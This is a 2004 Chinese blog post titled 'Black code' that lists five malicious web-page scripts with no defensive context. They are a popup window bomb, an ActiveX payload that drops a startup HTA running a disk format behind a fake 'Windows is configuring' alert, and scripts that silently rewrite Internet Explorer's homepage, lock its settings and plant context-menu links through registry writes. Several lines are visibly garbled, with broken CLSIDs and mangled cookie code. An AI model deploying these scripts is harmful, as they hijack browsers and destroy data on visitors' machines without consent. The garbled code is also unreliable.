恶意代码/Black code

[ 2004-09-08 18:30:44 | Author: zhenhua ]
Font Size: Large | Medium | Small
1.窗口炸弹代码
<script language="javascript">
function windowBomb()
{
var iCounter=0;
while (true)
{
window.open("http://******","crashing"+iCounter,"width=,height=,resizable=no");
iCounter++;
}
}
</script>

2.格式化硬盘的代码
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C--3FBFC">
</object>
<script>
scr.Reset();
scr.Path="c:\\windows\\Start Menu\\Programs\\启动\\automat.hta";
scr.Doc="<object id=&apos;wsh&apos; classid=&apos;clsid:F935DC22-1CF0-aaDo-ADB9-ooCo4FD58AoB&apos;>
</object>
<script>
wsh.Run(&apos;start /m format a:/q /autotest /u&apos;);
alert(&apos;Important:Windows is configuring the system.Please do not interrupt this process.&apos;);
</script>";
scr.write();
</script>

3.自动设定主页代码
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
Shl=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO=a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net=a1.GetObject();
try
{
if(documents \.cookiess.indexOf("Chg"0==-1)
{
Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
Shl.RegWrite("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http://www.***.com");
var expdate=new Date((new Date()).getTime()+(1));
documents \.cookiess="Chg=general;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>

4.使IE的Internet选项的主页条失去作用(变灰)的代码
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\Control Panel\\HomePage",1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write(&apos;&apos;);
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>

5.在鼠标右键菜单加入网页链接
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveX.ActiveXComponent></applet>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADb9-00C04FD58A0B}");
a1.createInstance();
sh=a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
fo=a1.GetObject();
if(documets \.cookiess.indexOf("km169set")==-1)
{
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\","c:\\yntop.htm");
sh.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Internet Explorer\\MenuExt\\******\\contexts",Oxf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write(&apos;<html><head></head><script language=javascript>window.open("http://www.****.com:);</script></html>&apos;);
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate=new Date((new Date()).getTime()+(1));
document \.cookiess="km169set=km169;expires="+expdate.toGMTString()+";path=/;"
}
}
catch(e)
{}
}
function init()
{
setTimeout("f()",1000);
}
init();
</script>

Comments Feed Comments Feed: http://www.zhenhua.org/feed.asp?q=comment&id=141
UTF-8 Encoding Trackback URL: http://www.zhenhua.org/trackback.asp?id=141

There is no comment on this article.

If you feel this site you find this information helpful, please click on the donation, which is voluntary,Thank you.
Post Comment
Smilies
[arrow] [biggrin] [confused] [cool]
[cry] [eek] [evil] [exclaim]
[frown] [idea] [lol] [mad]
[mrgreen] [neutral] [question] [razz]
[redface] [rolleyes] [sad] [smile]
[surprised] [twisted] [wink]
Enable UBB Codes
Auto Convert URL
Show Smilies
Hidden Comment
Username:   Password:   Register Now?
Security Code * Please Enter the Security Code